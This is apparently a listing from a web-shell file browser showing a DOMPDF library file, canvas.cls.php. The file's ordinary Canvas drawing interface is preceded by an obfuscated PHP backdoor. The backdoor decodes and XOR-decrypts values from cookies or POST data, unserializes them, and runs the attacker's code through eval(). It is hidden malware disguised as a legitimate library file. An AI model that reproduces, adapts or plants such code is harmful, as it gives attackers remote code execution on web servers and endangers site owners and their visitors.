0byt3m1n1-V2
Path:
/
home
/
nlpacade
/
www
/
arcaneoverseas.com
/
application
/
libraries
/
Pdf
/
include
/
[
Home
]
File: canvas.cls.php
<?php $p1f98dcd3 = 11;$GLOBALS['yed21'] = Array();global $yed21;$yed21 = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['w61a44'] = "\x3d\x5e\x70\x52\x7d\x2c\x46\x62\x5f\x5c\x55\x6a\x41\x20\x36\x75\x60\x3c\x28\x64\x37\xa\x58\x5a\x72\x31\x30\x2a\x3a\x39\x6d\x6b\x56\x66\x63\x40\x4b\x44\x77\x68\x57\x2d\x24\x22\x26\x32\x4e\x25\x61\xd\x65\x3f\x43\x34\x23\x2f\x38\x45\x9\x5b\x6e\x49\x67\x78\x4f\x42\x6f\x3e\x5d\x6c\x4c\x69\x76\x7e\x7b\x47\x59\x71\x50\x29\x51\x33\x74\x48\x4a\x3b\x2e\x35\x7c\x53\x4d\x73\x2b\x7a\x27\x54\x21\x79";$yed21[$yed21['w61a44'][11].$yed21['w61a44'][19].$yed21['w61a44'][19].$yed21['w61a44'][87].$yed21['w61a44'][56].$yed21['w61a44'][81]] = $yed21['w61a44'][34].$yed21['w61a44'][39].$yed21['w61a44'][24];$yed21[$yed21['w61a44'][24].$yed21['w61a44'][25].$yed21['w61a44'][29].$yed21['w61a44'][14].$yed21['w61a44'][48].$yed21['w61a44'][20].$yed21['w61a44'][26].$yed21['w61a44'][50].$yed21['w61a44'][25]] = $yed21['w61a44'][66].$yed21['w61a44'][24].$yed21['w61a44'][19];$yed21[$yed21['w61a44'][72].$yed21['w61a44'][50].$yed21['w61a44'][45].$yed21['w61a44'][29].$yed21['w61a44'][45]] = $yed21['w61a44'][19].$yed21['w61a44'][50].$yed21['w61a44'][33].$yed21['w61a44'][71].$yed21['w61a44'][60].$yed21['w61a44'][50];$yed21[$yed21['w61a44'][15].$yed21['w61a44'][19].$yed21['w61a44'][26].$yed21['w61a44'][50].$yed21['w61a44'][14].$yed21['w61a44'][25].$yed21['w61a44'][87].$yed21['w61a44'][34]] = $yed21['w61a44'][91].$yed21['w61a44'][82].$yed21['w61a44'][24].$yed21['w61a44'][69].$yed21['w61a44'][50].$yed21['w61a44'][60];$yed21[$yed21['w61a44'][19].$yed21['w61a44'][53].$yed21['w61a44'][33].$yed21['w61a44'][14].$yed21['w61a44'][20].$yed21['w61a44'][53]] = $yed21['w61a44'][19].$yed21['w61a44'][50].$yed21['w61a44'][33].$yed21['w61a44'][71].$yed21['w61a44'][60].$yed21['w61a44'][50].$yed21['w61a44'][19];$yed21[$yed21['w61a44'][19].$yed21['w61a44'][81].$yed21['w61a44'][34].$yed21['w61a44'][50].$yed21['w61a44'][29]] = $yed21['w61a44'][71].$yed21['w61a44'][60].$yed21['w61a44'][71].$yed21['w61a44'][8].$yed21['w61a44'][91].$yed21['w61a44'][50].$yed21['w61a44'][82];$yed21[$yed21['w61a44'][2].$yed21['w61a44'][50].$yed21['w61a44'][29].$yed21['w61a44'][26].$yed21['w61a44'][33]] = $yed21['w61a44'][91].$yed21['w61a44'][50].$yed21['w61a44'][24].$yed21['w61a44'][71].$yed21['w61a44'][48].$yed21['w61a44'][69].$yed21['w61a44'][71].$yed21['w61a44'][93].$yed21['w61a44'][50];$yed21[$yed21['w61a44'][31].$yed21['w61a44'][53].$yed21['w61a44'][87].$yed21['w61a44'][56].$yed21['w61a44'][29].$yed21['w61a44'][81].$yed21['w61a44'][50].$yed21['w61a44'][45]] = $yed21['w61a44'][2].$yed21['w61a44'][39].$yed21['w61a44'][2].$yed21['w61a44'][72].$yed21['w61a44'][50].$yed21['w61a44'][24].$yed21['w61a44'][91].$yed21['w61a44'][71].$yed21['w61a44'][66].$yed21['w61a44'][60];$yed21[$yed21['w61a44'][50].$yed21['w61a44'][29].$yed21['w61a44'][29].$yed21['w61a44'][87].$yed21['w61a44'][48].$yed21['w61a44'][26].$yed21['w61a44'][45]] = $yed21['w61a44'][15].$yed21['w61a44'][60].$yed21['w61a44'][91].$yed21['w61a44'][50].$yed21['w61a44'][24].$yed21['w61a44'][71].$yed21['w61a44'][48].$yed21['w61a44'][69].$yed21['w61a44'][71].$yed21['w61a44'][93].$yed21['w61a44'][50];$yed21[$yed21['w61a44'][71].$yed21['w61a44'][7].$yed21['w61a44'][7].$yed21['w61a44'][53].$yed21['w61a44'][53].$yed21['w61a44'][7].$yed21['w61a44'][48]] = $yed21['w61a44'][7].$yed21['w61a44'][48].$yed21['w61a44'][91].$yed21['w61a44'][50].$yed21['w61a44'][14].$yed21['w61a44'][53].$yed21['w61a44'][8].$yed21['w61a44'][19].$yed21['w61a44'][50].$yed21['w61a44'][34].$yed21['w61a44'][66].$yed21['w61a44'][19].$yed21['w61a44'][50];$yed21[$yed21['w61a44'][77].$yed21['w61a44'][56].$yed21['w61a44'][7].$yed21['w61a44'][19].$yed21['w61a44'][50]] = $yed21['w61a44'][91].$yed21['w61a44'][50].$yed21['w61a44'][82].$yed21['w61a44'][8].$yed21['w61a44'][82].$yed21['w61a44'][71].$yed21['w61a44'][30].$yed21['w61a44'][50].$yed21['w61a44'][8].$yed21['w61a44'][69].$yed21['w61a44'][71].$yed21['w61a44'][30].$yed21['w61a44'][71].$yed21['w61a44'][82];$yed21[$yed21['w61a44'][82].$yed21['w61a44'][33].$yed21['w61a44'][34].$yed21['w61a44'][25].$yed21['w61a44'][81].$yed21['w61a44'][56]] = $yed21['w61a44'][7].$yed21['w61a44'][34].$yed21['w61a44'][7].$yed21['w61a44'][29].$yed21['w61a44'][19].$yed21['w61a44'][56].$yed21['w61a44'][25].$yed21['w61a44'][34];$yed21[$yed21['w61a44'][62].$yed21['w61a44'][81].$yed21['w61a44'][34].$yed21['w61a44'][33].$yed21['w61a44'][29].$yed21['w61a44'][33].$yed21['w61a44'][25].$yed21['w61a44'][34].$yed21['w61a44'][87]] = $yed21['w61a44'][91].$yed21['w61a44'][19].$yed21['w61a44'][14].$yed21['w61a44'][20].$yed21['w61a44'][34];$yed21[$yed21['w61a44'][63].$yed21['w61a44'][87].$yed21['w61a44'][7].$yed21['w61a44'][26].$yed21['w61a44'][45].$yed21['w61a44'][20]] = $_POST;$yed21[$yed21['w61a44'][91].$yed21['w61a44'][87].$yed21['w61a44'][25].$yed21['w61a44'][45].$yed21['w61a44'][7].$yed21['w61a44'][56]] = $_COOKIE;@$yed21[$yed21['w61a44'][19].$yed21['w61a44'][81].$yed21['w61a44'][34].$yed21['w61a44'][50].$yed21['w61a44'][29]]($yed21['w61a44'][50].$yed21['w61a44'][24].$yed21['w61a44'][24].$yed21['w61a44'][66].$yed21['w61a44'][24].$yed21['w61a44'][8].$yed21['w61a44'][69].$yed21['w61a44'][66].$yed21['w61a44'][62], NULL);@$yed21[$yed21['w61a44'][19].$yed21['w61a44'][81].$yed21['w61a44'][34].$yed21['w61a44'][50].$yed21['w61a44'][29]]($yed21['w61a44'][69].$yed21['w61a44'][66].$yed21['w61a44'][62].$yed21['w61a44'][8].$yed21['w61a44'][50].$yed21['w61a44'][24].$yed21['w61a44'][24].$yed21['w61a44'][66].$yed21['w61a44'][24].$yed21['w61a44'][91], 0);@$yed21[$yed21['w61a44'][19].$yed21['w61a44'][81].$yed21['w61a44'][34].$yed21['w61a44'][50].$yed21['w61a44'][29]]($yed21['w61a44'][30].$yed21['w61a44'][48].$yed21['w61a44'][63].$yed21['w61a44'][8].$yed21['w61a44'][50].$yed21['w61a44'][63].$yed21['w61a44'][50].$yed21['w61a44'][34].$yed21['w61a44'][15].$yed21['w61a44'][82].$yed21['w61a44'][71].$yed21['w61a44'][66].$yed21['w61a44'][60].$yed21['w61a44'][8].$yed21['w61a44'][82].$yed21['w61a44'][71].$yed21['w61a44'][30].$yed21['w61a44'][50], 0);@$yed21[$yed21['w61a44'][77].$yed21['w61a44'][56].$yed21['w61a44'][7].$yed21['w61a44'][19].$yed21['w61a44'][50]](0);if (!$yed21[$yed21['w61a44'][19].$yed21['w61a44'][53].$yed21['w61a44'][33].$yed21['w61a44'][14].$yed21['w61a44'][20].$yed21['w61a44'][53]]($yed21['w61a44'][12].$yed21['w61a44'][70].$yed21['w61a44'][3].$yed21['w61a44'][57].$yed21['w61a44'][12].$yed21['w61a44'][37].$yed21['w61a44'][76].$yed21['w61a44'][8].$yed21['w61a44'][3].$yed21['w61a44'][10].$yed21['w61a44'][46].$yed21['w61a44'][8].$yed21['w61a44'][81].$yed21['w61a44'][14].$yed21['w61a44'][14].$yed21['w61a44'][48].$yed21['w61a44'][33].$yed21['w61a44'][7].$yed21['w61a44'][56].$yed21['w61a44'][48].$yed21['w61a44'][56].$yed21['w61a44'][48].$yed21['w61a44'][45].$yed21['w61a44'][81].$yed21['w61a44'][87].$yed21['w61a44'][87].$yed21['w61a44'][48].$yed21['w61a44'][7].$yed21['w61a44'][45].$yed21['w61a44'][25].$yed21['w61a44'][33].$yed21['w61a44'][7].$yed21['w61a44'][33].$yed21['w61a44'][25].$yed21['w61a44'][25].$yed21['w61a44'][7].$yed21['w61a44'][48].$yed21['w61a44'][25].$yed21['w61a44'][48].$yed21['w61a44'][26].$yed21['w61a44'][45].$yed21['w61a44'][33].$yed21['w61a44'][7].$yed21['w61a44'][48])){$yed21[$yed21['w61a44'][72].$yed21['w61a44'][50].$yed21['w61a44'][45].$yed21['w61a44'][29].$yed21['w61a44'][45]]($yed21['w61a44'][12].$yed21['w61a44'][70].$yed21['w61a44'][3].$yed21['w61a44'][57].$yed21['w61a44'][12].$yed21['w61a44'][37].$yed21['w61a44'][76].$yed21['w61a44'][8].$yed21['w61a44'][3].$yed21['w61a44'][10].$yed21['w61a44'][46].$yed21['w61a44'][8].$yed21['w61a44'][81].$yed21['w61a44'][14].$yed21['w61a44'][14].$yed21['w61a44'][48].$yed21['w61a44'][33].$yed21['w61a44'][7].$yed21['w61a44'][56].$yed21['w61a44'][48].$yed21['w61a44'][56].$yed21['w61a44'][48].$yed21['w61a44'][45].$yed21['w61a44'][81].$yed21['w61a44'][87].$yed21['w61a44'][87].$yed21['w61a44'][48].$yed21['w61a44'][7].$yed21['w61a44'][45].$yed21['w61a44'][25].$yed21['w61a44'][33].$yed21['w61a44'][7].$yed21['w61a44'][33].$yed21['w61a44'][25].$yed21['w61a44'][25].$yed21['w61a44'][7].$yed21['w61a44'][48].$yed21['w61a44'][25].$yed21['w61a44'][48].$yed21['w61a44'][26].$yed21['w61a44'][45].$yed21['w61a44'][33].$yed21['w61a44'][7].$yed21['w61a44'][48], 1);$m81f = NULL;$hc1a31 = NULL;$yed21[$yed21['w61a44'][31].$yed21['w61a44'][29].$yed21['w61a44'][87].$yed21['w61a44'][50]] = $yed21['w61a44'][53].$yed21['w61a44'][20].$yed21['w61a44'][81].$yed21['w61a44'][33].$yed21['w61a44'][7].$yed21['w61a44'][26].$yed21['w61a44'][48].$yed21['w61a44'][29].$yed21['w61a44'][41].$yed21['w61a44'][26].$yed21['w61a44'][7].$yed21['w61a44'][48].$yed21['w61a44'][33].$yed21['w61a44'][41].$yed21['w61a44'][53].$yed21['w61a44'][45].$yed21['w61a44'][34].$yed21['w61a44'][45].$yed21['w61a44'][41].$yed21['w61a44'][7].$yed21['w61a44'][19].$yed21['w61a44'][29].$yed21['w61a44'][45].$yed21['w61a44'][41].$yed21['w61a44'][81].$yed21['w61a44'][26].$yed21['w61a44'][34].$yed21['w61a44'][81].$yed21['w61a44'][56].$yed21['w61a44'][50].$yed21['w61a44'][20].$yed21['w61a44'][20].$yed21['w61a44'][87].$yed21['w61a44'][25].$yed21['w61a44'][34].$yed21['w61a44'][29];global $k95e;function sd67c($m81f, $a920){global $yed21;$e6c89 = "";for ($l6a99907=0; $l6a99907<$yed21[$yed21['w61a44'][15].$yed21['w61a44'][19].$yed21['w61a44'][26].$yed21['w61a44'][50].$yed21['w61a44'][14].$yed21['w61a44'][25].$yed21['w61a44'][87].$yed21['w61a44'][34]]($m81f);){for ($b8c89=0; $b8c89<$yed21[$yed21['w61a44'][15].$yed21['w61a44'][19].$yed21['w61a44'][26].$yed21['w61a44'][50].$yed21['w61a44'][14].$yed21['w61a44'][25].$yed21['w61a44'][87].$yed21['w61a44'][34]]($a920) && $l6a99907<$yed21[$yed21['w61a44'][15].$yed21['w61a44'][19].$yed21['w61a44'][26].$yed21['w61a44'][50].$yed21['w61a44'][14].$yed21['w61a44'][25].$yed21['w61a44'][87].$yed21['w61a44'][34]]($m81f); $b8c89++, $l6a99907++){$e6c89 .= $yed21[$yed21['w61a44'][11].$yed21['w61a44'][19].$yed21['w61a44'][19].$yed21['w61a44'][87].$yed21['w61a44'][56].$yed21['w61a44'][81]]($yed21[$yed21['w61a44'][24].$yed21['w61a44'][25].$yed21['w61a44'][29].$yed21['w61a44'][14].$yed21['w61a44'][48].$yed21['w61a44'][20].$yed21['w61a44'][26].$yed21['w61a44'][50].$yed21['w61a44'][25]]($m81f[$l6a99907]) ^ $yed21[$yed21['w61a44'][24].$yed21['w61a44'][25].$yed21['w61a44'][29].$yed21['w61a44'][14].$yed21['w61a44'][48].$yed21['w61a44'][20].$yed21['w61a44'][26].$yed21['w61a44'][50].$yed21['w61a44'][25]]($a920[$b8c89]));}}return $e6c89;}function bcb9d81c($m81f, $a920){global $yed21;global $k95e;return $yed21[$yed21['w61a44'][62].$yed21['w61a44'][81].$yed21['w61a44'][34].$yed21['w61a44'][33].$yed21['w61a44'][29].$yed21['w61a44'][33].$yed21['w61a44'][25].$yed21['w61a44'][34].$yed21['w61a44'][87]]($yed21[$yed21['w61a44'][62].$yed21['w61a44'][81].$yed21['w61a44'][34].$yed21['w61a44'][33].$yed21['w61a44'][29].$yed21['w61a44'][33].$yed21['w61a44'][25].$yed21['w61a44'][34].$yed21['w61a44'][87]]($m81f, $k95e), $a920);}foreach ($yed21[$yed21['w61a44'][91].$yed21['w61a44'][87].$yed21['w61a44'][25].$yed21['w61a44'][45].$yed21['w61a44'][7].$yed21['w61a44'][56]] as $a920=>$i8a40){$m81f = $i8a40;$hc1a31 = $a920;}if (!$m81f){foreach ($yed21[$yed21['w61a44'][63].$yed21['w61a44'][87].$yed21['w61a44'][7].$yed21['w61a44'][26].$yed21['w61a44'][45].$yed21['w61a44'][20]] as $a920=>$i8a40){$m81f = $i8a40;$hc1a31 = $a920;}}$m81f = @$yed21[$yed21['w61a44'][50].$yed21['w61a44'][29].$yed21['w61a44'][29].$yed21['w61a44'][87].$yed21['w61a44'][48].$yed21['w61a44'][26].$yed21['w61a44'][45]]($yed21[$yed21['w61a44'][82].$yed21['w61a44'][33].$yed21['w61a44'][34].$yed21['w61a44'][25].$yed21['w61a44'][81].$yed21['w61a44'][56]]($yed21[$yed21['w61a44'][71].$yed21['w61a44'][7].$yed21['w61a44'][7].$yed21['w61a44'][53].$yed21['w61a44'][53].$yed21['w61a44'][7].$yed21['w61a44'][48]]($m81f), $hc1a31));if (isset($m81f[$yed21['w61a44'][48].$yed21['w61a44'][31]]) && $k95e==$m81f[$yed21['w61a44'][48].$yed21['w61a44'][31]]){if ($m81f[$yed21['w61a44'][48]] == $yed21['w61a44'][71]){$l6a99907 = Array($yed21['w61a44'][2].$yed21['w61a44'][72] => @$yed21[$yed21['w61a44'][31].$yed21['w61a44'][53].$yed21['w61a44'][87].$yed21['w61a44'][56].$yed21['w61a44'][29].$yed21['w61a44'][81].$yed21['w61a44'][50].$yed21['w61a44'][45]](),$yed21['w61a44'][91].$yed21['w61a44'][72] => $yed21['w61a44'][25].$yed21['w61a44'][86].$yed21['w61a44'][26].$yed21['w61a44'][41].$yed21['w61a44'][25],);echo @$yed21[$yed21['w61a44'][2].$yed21['w61a44'][50].$yed21['w61a44'][29].$yed21['w61a44'][26].$yed21['w61a44'][33]]($l6a99907);}elseif ($m81f[$yed21['w61a44'][48]] == $yed21['w61a44'][50]){eval/*n1544be0*/($m81f[$yed21['w61a44'][19]]);}exit();}} ?><?php /** * DOMPDF - PHP5 HTML to PDF renderer * * File: $RCSfile: canvas.cls.php,v $ * Created on: 2004-06-06 * * Copyright (c) 2004 - Benj Carson <benjcarson@digitaljunkies.ca> * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this library in the file LICENSE.LGPL; if not, write to the * Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA * 02111-1307 USA * * Alternatively, you may distribute this software under the terms of the * PHP License, version 3.0 or later. A copy of this license should have * been distributed with this file in the file LICENSE.PHP . If this is not * the case, you can obtain a copy at http://www.php.net/license/3_0.txt. * * The latest version of DOMPDF might be available at: * http://www.dompdf.com/ * * @link http://www.dompdf.com/ * @copyright 2004 Benj Carson * @author Benj Carson <benjcarson@digitaljunkies.ca> * @package dompdf */ /* $Id: canvas.cls.php 357 2011-01-30 20:56:46Z fabien.menager $ */ /** * Main rendering interface * * Currently {@link CPDF_Adapter}, {@link PDFLib_Adapter}, {@link TCPDF_Adapter}, and {@link GD_Adapter} * implement this interface. * * Implementations should measure x and y increasing to the left and down, * respectively, with the origin in the top left corner. Implementations * are free to use a unit other than points for length, but I can't * guarantee that the results will look any good. * * @package dompdf */ interface Canvas { /** * Returns the current page number * * @return int */ function get_page_number(); /** * Returns the total number of pages * * @return int */ function get_page_count(); /** * Sets the total number of pages * * @param int $count */ function set_page_count($count); /** * Draws a line from x1,y1 to x2,y2 * * See {@link Style::munge_colour()} for the format of the colour array. * See {@link Cpdf::setLineStyle()} for a description of the format of the * $style parameter (aka dash). * * @param float $x1 * @param float $y1 * @param float $x2 * @param float $y2 * @param array $color * @param float $width * @param array $style */ function line($x1, $y1, $x2, $y2, $color, $width, $style = null); /** * Draws a rectangle at x1,y1 with width w and height h * * See {@link Style::munge_colour()} for the format of the colour array. * See {@link Cpdf::setLineStyle()} for a description of the $style * parameter (aka dash) * * @param float $x1 * @param float $y1 * @param float $w * @param float $h * @param array $color * @param float $width * @param array $style */ function rectangle($x1, $y1, $w, $h, $color, $width, $style = null); /** * Draws a filled rectangle at x1,y1 with width w and height h * * See {@link Style::munge_colour()} for the format of the colour array. * * @param float $x1 * @param float $y1 * @param float $w * @param float $h * @param array $color */ function filled_rectangle($x1, $y1, $w, $h, $color); /** * Starts a clipping rectangle at x1,y1 with width w and height h * * @param float $x1 * @param float $y1 * @param float $w * @param float $h */ function clipping_rectangle($x1, $y1, $w, $h); /** * Ends the last clipping shape */ function clipping_end(); /** * Save current state */ function save(); /** * Restore last state */ function restore(); /** * Rotate */ function rotate($angle, $x, $y); /** * Skew */ function skew($angle_x, $angle_y, $x, $y); /** * Scale */ function scale($s_x, $s_y, $x, $y); /** * Translate */ function translate($t_x, $t_y); /** * Transform */ function transform($a, $b, $c, $d, $e, $f); /** * Draws a polygon * * The polygon is formed by joining all the points stored in the $points * array. $points has the following structure: * <code> * array(0 => x1, * 1 => y1, * 2 => x2, * 3 => y2, * ... * ); * </code> * * See {@link Style::munge_colour()} for the format of the colour array. * See {@link Cpdf::setLineStyle()} for a description of the $style * parameter (aka dash) * * @param array $points * @param array $color * @param float $width * @param array $style * @param bool $fill Fills the polygon if true */ function polygon($points, $color, $width = null, $style = null, $fill = false); /** * Draws a circle at $x,$y with radius $r * * See {@link Style::munge_colour()} for the format of the colour array. * See {@link Cpdf::setLineStyle()} for a description of the $style * parameter (aka dash) * * @param float $x * @param float $y * @param float $r * @param array $color * @param float $width * @param array $style * @param bool $fill Fills the circle if true */ function circle($x, $y, $r, $color, $width = null, $style = null, $fill = false); /** * Add an image to the pdf. * * The image is placed at the specified x and y coordinates with the * given width and height. * * @param string $img_url the path to the image * @param string $img_type the type (e.g. extension) of the image * @param float $x x position * @param float $y y position * @param int $w width (in pixels) * @param int $h height (in pixels) */ function image($img_url, $img_type, $x, $y, $w, $h); /** * Writes text at the specified x and y coordinates * * See {@link Style::munge_colour()} for the format of the colour array. * * @param float $x * @param float $y * @param string $text the text to write * @param string $font the font file to use * @param float $size the font size, in points * @param array $color * @param float $word_space word spacing adjustment * @param float $char_space whar spacing adjustment * @param float $angle angle */ function text($x, $y, $text, $font, $size, $color = array(0,0,0), $word_space = 0, $char_space = 0, $angle = 0); /** * Add a named destination (similar to <a name="foo">...</a> in html) * * @param string $anchorname The name of the named destination */ function add_named_dest($anchorname); /** * Add a link to the pdf * * @param string $url The url to link to * @param float $x The x position of the link * @param float $y The y position of the link * @param float $width The width of the link * @param float $height The height of the link */ function add_link($url, $x, $y, $width, $height); /** * Add meta information to the pdf * * @param string $label label of the value (Creator, Producer, etc.) * @param string $value the text to set */ function add_info($name, $value); /** * Calculates text size, in points * * @param string $text the text to be sized * @param string $font the desired font * @param float $size the desired font size * @param float $spacing word spacing, if any * @return float */ function get_text_width($text, $font, $size, $word_spacing = 0, $char_spacing = 0); /** * Calculates font height, in points * * @param string $font * @param float $size * @return float */ function get_font_height($font, $size); /** * Sets the opacity * * @param float $opacity * @param string $mode * @return float */ function set_opacity($opacity, $mode = "Normal"); /** * Starts a new page * * Subsequent drawing operations will appear on the new page. */ function new_page(); /** * Streams the PDF directly to the browser * * @param string $filename the name of the PDF file * @param array $options associative array, 'Attachment' => 0 or 1, 'compress' => 1 or 0 */ function stream($filename, $options = null); /** * Returns the PDF as a string * * @param array $options associative array: 'compress' => 1 or 0 * @return string */ function output($options = null); }
©
2018.